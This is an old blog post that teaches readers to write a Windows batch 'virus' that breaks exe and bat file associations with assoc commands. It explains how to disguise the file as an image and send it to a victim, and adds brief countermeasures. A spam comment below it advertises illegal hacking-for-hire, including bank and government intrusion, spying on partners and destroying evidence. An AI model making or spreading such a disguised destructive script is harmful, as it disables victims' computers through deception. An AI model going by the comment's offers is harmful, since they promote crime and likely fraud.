Friday, September 2, 2011

Virus that disables EXE files.

We know, all kinds of files opens with some specified programs, example video files can be opened with VLC player, in the same way exe files open with exefile program. This is called association, we say exe is associated with exefile. Now consider, somehow we managed to break this association, how deadly it could be, victim can never open any exe file(cmd, notepad, paint etc..).
To see association of files open command prompt and type:-                                                 assoc .<extension> example assoc .exe.

>assoc .bat <hit enter>
>.bat=batfile <result>
i.e bat file is associated with batfile.

Creating Process:-
1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.
2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.
3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- To create batch files follow the above "creating process".

Example Virus Break the association:

assoc .exe=abc     :: now exe file is associated with "abc" which does't exist.


Don't think that victim can't fix this problem, he can use .bat file to fix this problem, to fix this create bat file with code:

assoc .exe=exefile
In that case add more line in your virus program, check below:
assoc .exe=abc     :: now exe file is associated with "abc" which does't exist.
assoc .bat=abc     :: now bat file is associated with "abc" which does't exist.


Countermeasure:
1. Whenever we change the association, the registry file gets edited. So to recover from this attack the only thing we can do is, always keep backup of registry.
To create registry backup go to start->run->type regedit. You will get registry editor window inside that go to file menu->export and choose a location to save.
2. Edit the registry to correct the file association. If you don't know how to edit, download the registry settings for important file types. Click Here to download the settings.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same). 

1 comment:

  1. Stop being scammed by fake hackers. Hire a Ethical Hacking group who are professional and real. You might be curious that what hacking group services can provide? .. If you hire a hacker, you always have worried of losing your money. We won't keep a cent if can't do our job. 100% refund if job is not completed. Hacking Services that you will find here at: ALEXGHACKLORD are custom to fit your hacking needs... A professional and experienced hacker providing hacking services for a variety of client needs. Specialize in many different Hacking Services some of my most popular hacking services are, Hack INTO ANY BANK WEBSITE Hack into any COMPANY WEBSITE HACK INTO ANY GOVERNMENT AGENCY WEBSITE HACK INTO SECURITY AGENCY WEBSITE AND ERASE CRIMINAL RECORDS Hack into CRAIGSLIST AND REMOVE FLAGGING HACK INTO ANY DATABASE SYSTEM HACK PAYPAL ACCOUNT HACK WORD-PRESS Blogs SERVER CRASHED hack HACK INTO ANY SCHOOL DATABASE AND CHANGE UNIVERSITY GRADES, no matter how secured HACK INTO CREDIT BUREAU DATABASE AND INCREASE YOUR CREDIT SCORE HACK ANY EMAIL OR SOCIAL NETWORK AND KNOW IF YOUR PARTNER IS CHEATING ON YOU HACK INTO YOUR PARTNER'S PHONE PICS, TEXT MESSAGE AND LISTEN TO CALLS TO KNOW IF HE IS CHEATING UNTRACEABLE INTERNET PROTOCOL HAVE YOU OR YOUR CHILD BEEN BULLIED ONLINE BEFORE AND WANT TO GET BACK AT THE PERSON, WE CAN HELP YOU TRACE THE ACTUAL LOCATION OF THE PERSON AND DO WHATEVER YOU REQUEST TO THE PERSONS COMPUTER IS ANYONE BLACKMAILING YOU ONLINE AND YOU WANT US TO GET INTO THEIR COMPUTER AND DESTROY DATA AND EVIDENCES AGAINST YOU? If you need a hacking service that is not listed, feel free to contact him at: ALEXGHACKLORD@GMAIL. COM

    ReplyDelete